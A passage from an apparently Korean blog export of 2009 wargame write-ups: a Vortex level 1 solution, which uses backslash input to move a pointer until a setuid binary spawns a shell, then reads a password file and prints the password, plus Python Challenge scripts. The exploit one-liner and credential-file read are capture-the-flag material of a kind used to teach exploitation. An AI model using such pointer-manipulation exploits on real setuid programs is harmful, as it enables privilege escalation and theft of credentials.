같군?\n","date":"2009-09-18T08:10:22Z","permalink":"/2009/09/18/vortex-level-2/","title":"Vortex - Level 2"},{"content":"http://www.overthewire.org/wargames/vortex/level1.shtml 먼저 소스를 보면 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #define e(); if(((unsigned int)ptr \u0026amp; 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, \u0026#34;-i\u0026#34;, NULL); } void print(unsigned char *buf, int len) { int i; printf(\u0026#34;[ \u0026#34;); for(i=0; i \u0026lt; len; i++) printf(\u0026#34;%x \u0026#34;, buf[i]); printf(\u0026#34; ]\\n\u0026#34;); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case \u0026#39;\\n\u0026#39;: print(buf, sizeof(buf)); continue; break; case \u0026#39;\\\\\u0026#39;: ptr--; break; default: e(); if(ptr \u0026gt; buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf(\u0026#34;All done\\n\u0026#34;); } 문제의 포인트는 \u0026quot;\\\u0026quot; 문자를 입력하여 포인터의 위치를 바꿔 우리가 define된 조건에 만족시키는 것이다. 먼저 아래와 같이 공격을 해보았다.\n1 2 3 vortex1@games ~ $ python -c \u0026#34;print \u0026#39;\\\\\\\\\u0026#39;*257 + \u0026#39;\\xca\\xca\u0026#39;\u0026#34; | /vortex/level1 sh-3.2$ exit vortex1@games ~ $ 쉘이 떨어지긴 하나 바로 exit 된다. 이유를 확인한 결과 pipe(|)에서 4096 바이트 이하의 값은 모두 먹어버려 쉘에 명령어가 전달이 안된다고 한다. 그래서 쓰레기 값을 넣어 주도록 하자.\n\\(257) + \\xca\\xca (2) + a (3836) + \\n (1) = 4095\n1 2 3 vortex1@games ~ $ python -c \u0026#34;print \u0026#39;\\\\\\\\\u0026#39;*257 + \u0026#39;\\xca\\xca\u0026#39; + \u0026#39;a\u0026#39;*3836 + \u0026#39;\\n\u0026#39; + \u0026#39;cat /etc/vortex_pass/vortex2\u0026#39;\u0026#34; | /vortex/level1 sh-3.2$ 23anbT\\rE sh-3.2$ exit ","date":"2009-09-18T06:36:12Z","permalink":"/2009/09/18/level-1/","title":"Vortex - Level 1"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/linkedlist.php\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!C:\\Python26\\python.exe import httplib, re def gogo(number): conn = httplib.HTTPConnection(\u0026#39;www.pythonchallenge.com\u0026#39;) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/pc/def/linkedlist.php?nothing=\u0026#39; + str(number)) r1 = conn.getresponse() data = r1.read() print data if data.find(\u0026#39;Yes. Divide by two and keep going.\u0026#39;) == 0: return int(number) / 2 else: tmp = re.search(\u0026#39;and the next nothing is [0-9]+\u0026#39;, data).group() return re.search(\u0026#39;[0-9]+\u0026#39;, tmp).group() x = gogo(12345) while 1: x = gogo(x) conn.close() ","date":"2009-09-17T09:07:18Z","permalink":"/2009/09/17/level-5/","title":"The Python Challenge - Level 4"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/equality.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 #!c:\\python26\\python.exe import re str = \u0026#39;\u0026#39;\u0026#39;kAewtloYgcFQaJNhHVGxXDiQmzjfcpYbzxlWrVcqsmUbCunkfxZWDZjUZMiGqhRRiUvGmYmvnJIHEmbT MUKLECKdCthezSYBpIElRnZugFAxDRtQPpyeCBgBfaRVvvguRXLvkAdLOeCKxsDUvBBCwdpMMWmuELeG ENihrpCLhujoBqPRDPvfzcwadMMMbkmkzCCzoTPfbRlzBqMblmxTxNniNoCufprWXxgHZpldkoLCrHJq vYuyJFCZtqXLhWiYzOXeglkzhVJIWmeUySGuFVmLTCyMshQtvZpPwuIbOHNoBauwvuJYCmqznOBgByPw TDQheAbsaMLjTmAOKmNsLziVMenFxQdATQIjItwtyCHyeMwQTNxbbLXWZnGmDqHhXnLHfEyvzxMhSXzd BEBaxeaPgQPttvqRvxHPEOUtIsttPDeeuGFgmDkKQcEYjuSuiGROGfYpzkQgvcCDBKrcYwHFlvPzDMEk MyuPxvGtgSvWgrybKOnbEGhqHUXHhnyjFwSfTfaiWtAOMBZEScsOSumwPssjCPlLbLsPIGffDLpZzMKz jarrjufhgxdrzywWosrblPRasvRUpZLaUbtDHGZQtvZOvHeVSTBHpitDllUljVvWrwvhpnVzeWVYhMPs kMVcdeHzFZxTWocGvaKhhcnozRSbWsIEhpeNfJaRjLwWCvKfTLhuVsJczIYFPCyrOJxOPkXhVuCqCUgE luwLBCmqPwDvUPuBRrJZhfEXHXSBvljqJVVfEGRUWRSHPeKUJCpMpIsrVMuCmDTZPcAezRnyRTJkYyXk oLEmjtaCsKmNOKNHygTixMKNaSifidWNbeZYYHCGMtgJiTSlzRMjzOAMuhmYwincvBydQMDPaZclRsYU SeEnkclzGopkBozDQfXrQqHjRvlAQsijPCsrnUawvyskbTAnjctFftReVrIBFBKiLSFGmrLSrcnZKfOU wnCGYaMNKNhadSGMXwBaefDrMXoNeJsUaSGlWgttAqovosuhyBWwqQLkVKnRseXaaPwrMtdWjGiVXPvd sxbXzJwjxAITPpPWoGOnPWcSbHFZjBizKEBUECMLUKQRvVvWgIudKQkNjJmlUoUCaAHiTKVKcIpMeltJ AYlVsrjBTLsWuyYwCJuJaewQSrzwXJNLAflzrZXBBEOCTtItNptaJkriIEhufpNysjJpeWbWcFqdEsiG feIJbjRkOfNLjKIiIqbLfYRtldJPJEdsDJrZreCQGUhiIkjPwxrQfjPvsASxJnsqHKAKMJIPuOHYzxuI THEobVZUgmAlVBlqvPgHEGpelbIfzYKHmAmJFlwbhQHWeSLuvPQrUWEQcLwdkalMnyLVyZiFzomxyhHX LhFYswiIPrhmHVHQSJFzWSGUIaKytHzUTSlwSoPkBDPYJBUhXZuNrlPKzVtNoWnKrngtEkazGaWWNlfR RdYbWMbtMyqlOtyNVFyovtOfTqFaMVSmkApgbyffXFgSNqKxCtrjegbSaChypYNUqcfKxYEbgSiIzEqM lsHiHfJOdvhwFLIGAlecFxXxLLlgkAkJehUMZLrOROOArPPhNiVfPvFPrUPqmVZslfhprVpHoyvkAiux hIrGesluecMjJGkvQkzYpLefAPTGcPlQngoaKzrvnlhtudzYMpKxMUEJfsxihneGfwPVeKqmaLGqIFRV siZNppfwZZhfbaqznpIqZRMiyhBgBLCRqqDRgqQMUknFCGZqjqWSAubRCLQZnIbKDRhJrAQeboQctKmz SaFlMXjNqkujGmgtsWbcfEkRWluWBzwIKlvjCMDtnpGlHKXzouovFOySfqjnjWWlOtEbpbpVtGkWzqis JxASqiDLkjpozYyXnkovzHFCklyKQqiJHWtxMjpvDnVEzcXggQbdryUppwiiWzxDZEGzckGXATnTLuiT SvcQsrZPSmbcHPQEYeXCfFDlXsJdjRhzilGllXNdlSDSOHzCWwWKePFiQeUoDBhqMtmVPbWCXshWGFWQ KtsoUdjOqPSjERRCtRdEpApFFwTDsZfNxVqsUTUgbjIXRJTIKHoWJZdUyQaZxrkaYHNAPvawmOgZueju OCkDgGhIgQvcbqTnovaINOqMvhGDQmgxgoGBZGERWeNwavCHuEqoCNfJlpgSYDWoTbkzMwDptqkTGGZm ghcVJXkjYIfNjLrJAjOAbXniGjnJZPfBFeICxJbgeZKEQIbmjSSMuyLWfrcqrlvNVuNplvFvpFvtwejU wdqCWhmhpULzdVCsphBXFOqucjQsGOwrcmQEejhZjeoqQfeShslpmMyYSPVzCwIstLoYVKceHBmRDRMT lHRjQtEAzRzbjHhleOalUJfwYubSoQwTQuVlLfgYLSwjzJjORHszNNXlvbASfdncJtaggrnWQayCeeHL hrTBclVDdZZXwnuMsxAdIitDotrUoBDnxNiHEWMFZEIBvGuaJuHlqJjZDJybDCaeeBzctgmxVTHTfyQY UlgTgJljKvOEAYrtmDRDNtSYephsQxCVfPIRlatlSlFMXwzysWQcogZNkOQhMASZvQlGWQEICTgYjScy NlJYqhjYnnOguMsqCAjwVbVCyVlwBpNRseONpIGwgKomMbvqYDYXiUpfOCWCzGCxDolcGEUVitfVkWTV zWFtkDsGXxIttvLoCHhNknOxAFgCmerhdDiRhAUzAdPIQaPIrLvuvJANOFydiZrlmhtySXHhIhXAlxbH qzrxtWBtnqVnbNYvGisPtzCEPQopkRujbkdLdjeyxKsiaZjroIDVELfFhgzaoVlHehIxQxOgxSRVxtXI zReYwUTXmZSvtJrCMvzcfJysWvrtniuukisYGdywIgZlmaLuuqoGSwdmRzgbxYPzPAeRZhzsNakETkdL qbZhzXrKPYTYiWIUvQtmADZIPwoSjsmRxxvAOEJbNjPWenKYWSmHfhHCUGOTucQzXJokqjSmHvodFDtm mIpCQStfDwPqIMjOWTlwpqXuEjmmguCSvZgVGpvquNLWZutrejvArhhuSistkPHPSVTLKvIPGWjLlCvA fBvcsqYEuGMGlyGAeikgQsVaVvFXXLTrQeKQCsqoUughmjitWfDAIltxUXBejtRaOyYcmLLPWwYPfZsj XxCpeINTZABaQukGKxfqeEsPajoNXojSmekpHzWlKZcCDsXilGRPBgLPDQVMXVzDPOfpmhGvboAXxmAU RILBSCAZefqpBhHtfQhfezJOXObJYIQuuAYFlXmaiGcXtocQEgzpinPkhcGcTiCHEmTtBlDDRBGZoCCp FOuGAcaQxuQeDMTCmGEHYorVyShXbaaSzIBPXqpnvwBWGIjzhEYjMDblEeMwGwpIwAvruynPjmqyVFKy ZjLlFysrtkTPIYFlpynOIwGiMIKoUSqCcGEcwaXwUbEtdnMAuzGttGPouVICmFfuCeYMRBbjVitmMkfV KflCTKRUkxWsKEJcZZuZQmcjMXNJEZLezgYsEuqqSLEMupAhvWpmYWbIeCbSleuPmGkZXeZYPjHrAsAN LbrdsOoRxhHFcqeMyVlZRdozVMxSMbyIfmJJaALSmwepuIBJCCEatpNtRfhHifPCDpHIVYFVnnJVhoJe FxWTjgAQHAYXLsUFTTluNZJKFgvUAnbRNxlBPZVAwlEjGVkziQbVBnOCXxhFzIfTklsasbzfdqiwtoqS TpwRJGdzSyCblVGYpizzyjUvKMkCVKzIKJGpxxsgLBFXaYKGdgrtTuRGAgruwGfNEnDCyranIXHrSUsn IgMWlWMldVJuLZmfYAhwSjxNIvqjGhdMvHIkDCTWyXYzqnJZPbAfLEINtNziVKnQLIbRBlvWowovBiYA UkRxoOfInqnFgyaOlwmIcICMCmibsrdSNNWzBFXPQGZfZQdoRgfeCsBRPOpuNWFjBubpYgbJuCgIOWeN aYCFUuHoeJsEvoBARbcUhpwlUhWLNyXkxaVcyiTAWttuYVTgjmOtnoGIFSfWuUKXNVdEJmrTmdHUfGPp xrsHmhwDSyvRmXQVfsNoPQcwXWdFhwERobmxIWJxVbMBhthqCSeczJaGTVdFRcXrkiyTvbRVOLtyjVHc coLphpcuewozwclNhREKjylWqEwVYmJNcmmTejtkfKtgUxfGDNyJFxJQiFYdLkySUVIhHyQScHjjIjig XgpphuwefbcAOAKpzwbDNvSXCAtdMlpQsrWybYMRsIvEKmBHqpVWHraJctgLRiUJHzEtjcCuICPTHMXM DQUnEmKcGjBYtKugzrYHLtaoBQQZwoYZcYWyCUxVfhJkCFVYBxuyavphlxNIBjihfYyUkQQGMzKqtnny GdqIQNlQSLidbDlqpdhoRbHrrUAgyhMgkZKYVhQuIACQpKjhmXbQCkrssyUHaKXgvNNMpadUjfnJYuWu dEBRzHBwNOtDRouBFUHGNuzQwDISBpkCEgLTVYEFbkUSPIiSzAtRrFUhmJHijAACBuUJTMLyxXmsBqEC oSajBqlTrwxIUVaeaqgCIMlkshLDBDtODUmyyCCJfFJyDECvwGaSaGiJNMFpLdCebTEGZCZBkZtVOyzT CVSNKKxefhhODBddsbpeaKvyTmLuSNacOEGCYpLLoLVpdgVfYnfFKwsHiDkEgupQDLnVwIBfJywHulIM TkyIeBMAZclTtQHcKFppcJLnsSUSqQlpcbjaUTjfjGrdbFmqBeCxGEfBOGhRgWItKDeyndwLrcMolNTH XAjTqUlUCSnAYQEPkBByKZfebtjOLAwLQAUqyKWupUPkDTnrbBRScmGqrqNjTdmalHjyRapBHlcbFaEE jKdWXcTKRlqILDBNBPrwsuFptJKxSFdztEPjPghGZnlKhmIrvltPWEDCmJOoXIjmUNlamPbqUeVwfMUV eihLfSTbezbaRSSGbpWlZwPTJKKSOkIaxJAaCzFSDzWOlMNWwwCrqRBfkZubvvNiAYEQfWFigTxPbOkw GqqvQguicNCYmKdnxWqWOuhphbHEzzSmWdftLboUZaXMuITrcQgxuRsLdoAtYVJrqKMEseqDmVQsrmWc dQbKxSwcHyDRgpVPPIMoBkGWzTbZxHMxxNYvudYNueXxAhiAjxwjdXzKrGzitppKeQWJxBnCThVheOdD DHzbbEOmruVvPDBCRovHfYTgAXiCjEmRHQhyIhBJdgoWzJSgQAuPDOeJUcxBavVRrclzFCRLbkeCbDAx nKDZsHQJGxtKyQHEhneFbUKVKVIHkHvZXYdEHGHMHeIijduUQxdCBunPLXGlhgRmIvlniLlyLsKrUgpd QpEvCIHToMPGIhNhcQUxXRqzLLNUATnsHquUDhXqgvwrHgqYrHLdTDQnxDyoEinZNtTmSoseNrrzmCtS JKVxDizekLuHBjXaeYFitpthjQTZZkZYepsYwXvKpUgSGCCGOBKreneLKzhuVGimMFUvDzGShlXZvpKx uuXcAtqdzsJedRKIrsSNsKuAGnFuhthNIsWpzoCHIdgWxZBQwhyflaLPiSrZfDBUKAzcmOUQFfVTUmpx VFUmqjivdLUQUVANaXjATmMzNDaVNjAsmVBNTbxVFGYFspIRpfUCRplmHkXQKRlguhjrCPaMWjpAkkPH VTjPqipizICoBcXpuaFlIkJuIyYUfINKmWrwPMXgoZUbANizGYCRdTRrCxaZqUwVFgPGDnpjRqPxVNvz BLTwTpYnDoRGbFpVVpPnlkIlDmayqDiCDuYGWfOoNtUcPYlahTqpuKeAgKGbOApnjNUOyNUzWabUvMcR RXmhLrpOFfqRVVQotuVKLuIiZeIRzHuprqSNKZOWrdsDpzQpgsYUvNypUlatDynACJxDfHoagkWeHYRA OdHIZdjjMnfMcWOeazWwYktAhvJQSXzOvVBVXIANnJzRgMGZxzpZkQGuZzPolAPNsDsHpyjmFlKnmMxj OMDgqLpYTMFmlRsKYqRyUHXHCKmknKTWJTRWXDfEZqBHnBHcQaDseMoUjONIarxTWJwZPfVPEkhQZylK sIkVuORXFsIvtaPuJUuGwFsyhZHpHWWTvenoaPYfwwFqTYhcYcsjaHliyIotgstirQurQJLyMcwEliIk EUBkywIQmZLNURadZzPuWEKucvTNConMvILAQekRhmwlnVTbeGqZGEqOqSnJvqxXIzsDOJfcENBdxRkk mkMFlxpLfDgwiwjFaeJKLaApQLNalgytHcyrVtXRGbNVKCWiWAtiZKkShJbJwEAyEfUYySCGvdigKokL KgBKMyFFbikGyZioXmFpxbAeFUxijcsFrgxkEzgbLRYiYTJRvQgGqsEaEHLADBVyOXpbVzliNKmxWawY DVlFmZCtmWCDJUEKtSNvSAotvLewsIgeVDDuwPMuNUWBgdHcPiNMkWFXAyUyMQcmoMiJHoRjsDWFXaDD beojPtAJrNYwLKUZUUSdOZzFXQiElQfVGNWbyktFQifQQbxPCAQwPFNBGNBqQTCZiNCEKJObmydljteL WvTDLoliSxlWPkUjjXYGMUtZGzEeYmrbwrsTlpJBkXQYYqxVuqmZUUObeKFmneYetSoJVbhNFIvmpbCK lkYkezlwPgFbznfFmbWOULkAQxmZalZTHFmilYHFGMBYlsZDtosNLiOjzHRnDTiDgnHkrOUOZHerijvp obzAyAKNnpXIESqgRYGXmfVtynXTWbNdgOaeZPDOdOXViaSLZqovrEcSHRXORjWFTaCmicmOHCPpNMqI OnHHRLYqWldlHGukaSwhRQkzmejyojEwtdkQMVmixNoyyCmmNYRRObZULDHGDLspyPZJLrSYzPmZjkSM IZqsubbQbfVIisfCsSOcrAFCoNzOThldUYgJdOHcqBqAyGduwZEFqvYtERSwgRuJjiuCWssoZaimEYAT cfFtkYjJRkxAMvEszJExvWFAILMMdjJxxmwzTHfUQuWsoGHrgTJuKPdfPVGmnTjqluacJCNXHcorguCi tenwLpXRhuqVRKkNlfkRCqtrjOLDelTrahLykzupZKFxlQRxpfarfVTZBjMEgYBMGhFlroPIGsjzNedi sMQcyrjEIgSCZScrjiJXOYyhXvesWGwNCvpOaYMIxEAhvbekfticnzAbGDcziZezOCTJVylmpdVNdvEy szxLXwMTcrIILLvIkmiakUHSSpgLPObdnzWCJhAryAARMuEzlHVrnrpTfoUJnWjUWDXzQOPRLXEzcZee cxVPDEPHYgtqPyIRuRcnijpVkgtFmBdOAthuEUudwcaUfwVwSHpJSZFVLHGsDZTiiJnIwGVsYWYbjLWo AEWddUfyPmZogFGJhRHvjKLfRldtmwNIhEZsAplmmxikduMmtlKnjWiAaBmtbJMbcLHYSiWamYgvMRQy CqoXZMIILUAlVaUyuGAREVNzEAghlynWJBmqOcUnDuZhYfsxzbjnFrhvzPHduZUuWDgLLAzNpNilcGzE AetfaazIagalKIHlQmCYioXsvGExmLaZlodiGTWXtSQrweXIwAkVmuadLdThbqtZCkChIjZEGQzdkIAz GCPMBftSlYlWksieHzihvgBXMOShthHOidwlGMzqoxrCzPxiEHcWDfKTrzWixSWRbtVWyPxbCqNeiGCX ooJJemWODeyhlAIKuRJjMcEPhhkDbSNpudalaMDKFSqztExZkMqzvqGDjUyOBGzXhJeqUnHbeorXzJfQ qkEnQubCNqnzFtmnoqRxIBWpySeuFGHiXduwTbvqNsCUKAaxIxindTmLIcKPwhXeroiKmwAjxcyaldhU hmPfnvrslckfdgenYNWMjuzawptMJFXXUXbKpCboIUkyNZCDXeFZbtlexJULmBfpNDjdoMXThWARAUKV xaUxEjKNBUXkttDUxfvWGqyfznxUsTVAVGWtcdngzeQtkZFHFSPWNkaTdiouHQtDsgBFqXzXqKTQlaqI DwOFWPHFhdhbSeYjoMskpGLjgoTehJlPSVWfOVIvwUztfoMZtdZwTNrrGxqbWsoAjZNvmBikxFklTOeK LjMdiBwwVQqGtKMDACxInfGbGnZkvyUXiwliPofSclCIPzbFvQHAsfxfxueGkjVUjEerTYLrLnxcsfig RIyQGzpnUATABTuyfZFPLibeldXzDkiXZBgcfcuPBGTuSJfOYLRNzgdNpVNiCoQMkSoViQFKFXUplSyr EDkgHtzcePuQoqhDBgLvXaexKKHCCaNjOEVCuuHHolkYAZiGvoyeQnwvsscLQjigUekgqQVLzmEWUcIG azXXgdnLUYyudqsGTSXUrANUrfAtLQeTqPgRgRXVDpcNtNrIrUTrllYIJIZIvoDQnEMhkMikvHNfcWSM kkjwzDqTAHsftRnDxXpGMjMdtGHoxusVkIRaTLLrkvugDBmqoWcMcemcNwgyDVwQrUkqItVHNrPoMyyU ZQhLNworxfWlDzhOkrrMeeYLcUGcYjSSvgRtMvVgGyJFQMTbPFZJIpmFwNCWEHkTGdSxflSLSetMLbPu sbfQuAzDXGIlRQOwfFMhmuXIVKstDvKCCqLRGNqsxcYjiZGrLKMXDmxroqwBJaSwhxFYPJAmaMcZCNup RmDOjSVyXoaOBSVPCzSdgfPmJGklmbLYIQAgTRKraWdPViXnPUCkHUaMryMwLvLQSWnfGFjIkZPwHpev redOKzPsrYCeaJLKVdpyxcuhfQLxiWdLwQlxJDLvqmwjNFuzTFfEefDmVRGYFerEwHbDtxCHQQcJiPSV NTvkqLSDftWuKBRbYmTpRMwTMzxhFmAuxbmIvWjwyDbDAONFghYsZftVauOvrmlgdJUvjNXJFMQCXEuW voDQoSXdrdpZDLfbVXskEoLzaQSpuBfCTDpyrumNcjbkFDVbzayyUcQkdAIhwcPRDpfQkHWwJWWfBgRj yikgYCmELeZGphaAVwzUayZwqbzvGThNUNMSrkYVrIemmMLhsIKGcpKEiyzPTgrZQoGNKsEgOTrKlbUC HSkPZjxqjsfUPYsYXGUFvOObfbRHhiRnedwCyCkigTLYdnTIjWiOdlOfXFgxTIqWwkgAIaPLxcHuQsRq LpLwzVrqKmCiilpkvkcxKeufRZciwencGgImsMTpIdxiVuwaMxgvZlXiEcPlIzrKWChmrQCHLghnCUND kfAwjUfkkYBpydDIcTAegVTcwfYNOJwBYpviSJyzrdLHGuNRwuvoBObmhyZDgtYksOChSMUXRDSDbLUG jeiqwiTUrKGxMobqMQBcWuDLqwynSgWaPSflZmqyqABmESOJSKWhqEmSMJniqhPHCmTuLruVHADodqnv noEKzdtovEQLGXQOySOMrLyURHUdbOMZcrJdyJJgbHQzRUiKHRtoydBJudFZiyFCypQolrIaVuNaMiIb vejGfNTtQVyheIZNyariSyKbjYtbcdKgEDSBtEHqPGjEVRdheDQYtuFMmdsILGOuqVMuYxVdZfXxwdHx RVCuSckGFUhIrbubeOKkKtTNzxUvedDdETOpzJofUZpQmhcAcaIYTIlgTUmxEBElCdhdinpPOrzbIuXB JqvVywZdxJnhfExkkxiDTExXmuPSLTVGQMYwseqXuhZBlXSFdGKijhGbqJbPWDFxDaQqPzefZPZKgFYv BEaPoHgPQfwDxZeJdmhgzKiwgiYZKiqpyuPHTIcclDUuZkgslsrJwHoAiwaElQBWBUULqAosjBBvWIRl nYkYaycsSARutBqhZQZxsAUiTSeeFgAmKcRxjWweoOkwwVszQMXeeGffviuFtgVpBGGyHevSLyjPICXK TfTOOTYNRWmzgeXjLLOLdUQSshAZAESaDJIxcExEsIAgKpjCbOsbtGzLRajPZImwrrGDRWsaymUVZEtC sZvmggRScwSTumcJNmTwOzLchzqaqTMtmQalZdWIfTmbZdIZCyhrVTLYGDVLnKNwhGINmwEradkOAnGM AtqikrfpKgBcIeZeapqaEslIRGoJPtGebMpUItTHUhTyxLTcqHiDJmRmLNVjEFLZpoqApPuBkAgUsvUh QyCLHEBWKSnfJPEucAtmqbuRGZCETTqSoCpJbxNBrqZecFaQiVPHtySbxVmwQLqBOsFCIQgMRzjnfIls FJaCDNyXWNNWBlYBtrtPpOhMArvikRFGjekKrFjtdcarbwUsdfbgomoVevZDFCzgdavVUthzbkgInBXF ixGvzBzgDEHidSRHSIhgDCPJqzmHTqcUkhhkRNSEXtFEiztfMjdOpWrZYAzJPdiYToxDGczUCrRvNala SaRqOFEwUrQVjwJkwKrbbezoIypvvlGRGmgLykBhrQfwQjFlvPVOLTCoXSgGMYTsrjgSomAtFyMZWUEp EFaPCMsDBafhhyeuUKEgXHRERsboOiGAhnVTaghwSAFjnDMivhKkkrBFNdLjwpOcNzzIEzZUWvXeTysT WXULuSZpRXYBxrtoSPhMepELZWNICqDmCjZbOlabMbFGaDvTwDAPQVQHbitxZvjxXOBKCkmtfvaSeNnS bkzQEhxWqilWFZJKVXhcovchQXrvAaevLwMFqJVkWzWiEDznczHrpAtDhFPMPpOKsdfZImjXThlnEWZZ KZxOqyXMvLUbXrLTnUWpoMmRjYXDVVDOTHFNCcVOVPeyWLIbUNIKgwwAyjnzoYjRlgjMupjCVAgjRpSZ MsiECRbsQxJdeSDHxUdYiGkCvsZtywukCLoaFagyBaKVnHyuRsqihBBYaGnHRvFhTHjFTJCkCzxpcIEY jibOfyCIrfypFAWdIjgvvXfzsbemxLXWEzgpHvVJLHdhRXJOHYJjwUFObjYrQagrDQZJYhliMeWQMLlA PVwwxOAaukSDfaBDByUBxVqbvGyJYzlfvwWtplMgMhYLukioxpicGTGWIwYgqtVnNgJPXUYEyvgFxDCe mbVpvpxahLFlrZqGgKDNjDZfOhIOEQIFDfYEgMOMEWfqZwJsMZibCOrkYUvTUMtmrkDnEuZoiemxLEQr pgXLhIGsDXJyQgAoFfwAYhZvRyZvSCseHOcjuUXrDyHJUDDJuHikRwOteofczKADHeJnvjUNKWJFKOTS wGSBYXSDjVKVXcIEMkLfFkzDPdERjpdTZIlcAUqKfrljEhheDjtWtPhxPKQdwNCNStrQKpBcduNctzdI DmbpzSAwjxkjUpWwkrNBJoMDxMrwCTqNkRlaFtslqFPebkDBbzXPASGwZRWmqCkNLzoGCikObCHfiFjX 